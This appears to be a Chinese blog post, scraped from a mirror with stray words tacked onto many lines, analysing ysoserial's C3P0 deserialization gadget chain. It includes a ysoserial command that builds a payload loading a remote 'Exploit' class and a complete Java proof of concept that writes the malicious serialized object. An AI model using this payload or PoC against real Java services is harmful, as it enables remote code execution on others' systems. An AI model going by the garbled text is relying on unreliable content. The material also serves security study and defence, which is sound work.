ysoserial-C3P0 分析

環境準備:

pom:java

      <!-- https://mvnrepository.com/artifact/com.mchange/c3p0 -->
        <dependency>
            <groupId>com.mchange</groupId>
            <artifactId>c3p0</artifactId>
            <version>0.9.5.2</version>
        </dependency>

payload生成:git

java -jar ysoserial.jar C3P0 "http://127.0.0.1:8989/:Exploit" > test.ser  //加載Exploit.class

調用鏈分析:

exec處下斷點,整個調用鏈以下圖所示:github

反序列化的入口點時com/mchange/v2/c3p0/impl/PoolBackedDataSourceBase,sql

 

首先從輸入流中還原出一個referenceIndirector的內部類referenceSerialized的對象,而後判斷其如果不是類IndirectlySerialized的實例,由下圖可得此時referenceSerialized實現了referenceSerialized接口,那麼bootstrap

referenceSerialized一定是其實例app

而該接口定義了一個getObject方法,用於返回對象,因此就到了referenceSerialized類的getObjectide

 

在這裏獲取上下文,應該是嘗試經過jndi的方式獲取上下文,然而這裏contextname爲null,即jndi失效,因此經過ReferenceableUtils.referenceToObject來加載引用,這裏引入的類名爲exploit,也就是咱們的惡意的字節碼的文件名this

 

reFerenceToObject根據Reference對象來獲取工廠類的名字,以及工廠類的地址,接着拿到類加載器,拿到appClassLoader(通常程序中類加載都用這個,它的上面還有jre核心類運行的加載(rt.jar)bootstrap classloader和擴展類加載ext classloader)url

 

 接着就判斷工廠類地址是否爲空,不爲空則去遠程地址加載工廠類,這裏用到了urlclassLoader,而後經過class.forname生成一個class 類型的實例,就加載到了工廠類,即咱們的惡意字節碼類spa

Class var12 = Class.forName(var4, true, (ClassLoader)var7);

接着newInstance完成了類的實例化,即觸發構造方法中的代碼塊執行

tip:

那麼這裏重點仍是引用類的構造,即referenceSerialized的this.reference成員變量的賦值

 ysoserial的構造:

 

這裏先實例化一個PoolBackedDataSource的實例,而後再將本地構造的PoolSource賦值給該類的connectionPoolDataSource成員方法,感受這裏比較主要的就是重寫getReference方法來返回一個指向遠程地址的引用實例

 

 看下PoolBackedDataSource的writeObject方法應該更好理解一點:

由於序列化時其實是從輸入流中讀出一個object來調用其getobject,因此這裏第一次寫入的object就是要反序列化利用的object,第一個tobyteArray那裏以下圖catch到錯誤,由於poolsource是不可序列化的類,因此走到reference那裏indirector.indirectForm(this.connectionPoolDataSource),這個傳入的就是本地構造的poolsource的實例

 

indirectForm裏面調用poolSource的getRerence方法實際上想返回一個reference類型的實例,因此ysoserial構造gadget的時候要本地定義一個getRerence()方法

 

 

 因此indirectForm最後返回一個ReferenceIndirector.ReferenceSerialized的實例,其可序列化,由於有下面兩個圖的關係

 

 

 因此最終這裏調用weiteObject寫入序列化的數據流,完成payload的構造

 

 因此就能夠手動構造poc了:

poc.java

package C3P0;

import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class payload1 {
    private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
        private String className;
        private String url;

        public PoolSource(String className, String url) {
            this.className = className;
            this.url = url;
        }

        @Override
        public Reference getReference() throws NamingException {
            return new Reference("exploit", this.className, this.url);
        }

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }
        public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException, IOException {
            Constructor con = PoolBackedDataSource.class.getDeclaredConstructor(new Class[0]);
            con.setAccessible(true);
            PoolBackedDataSource obj = (PoolBackedDataSource) con.newInstance(new Object[0]);
            Field conData = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
            conData.setAccessible(true);
            conData.set(obj, new PoolSource("Exploit", "http://127.0.0.1:8989/"));
            ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/t.ser"));
            objOut.writeObject(obj);
        }


    }

 

 

源碼地址:https://github.com/Wfzsec/ysoserial-poc

相關文章
相關標籤/搜索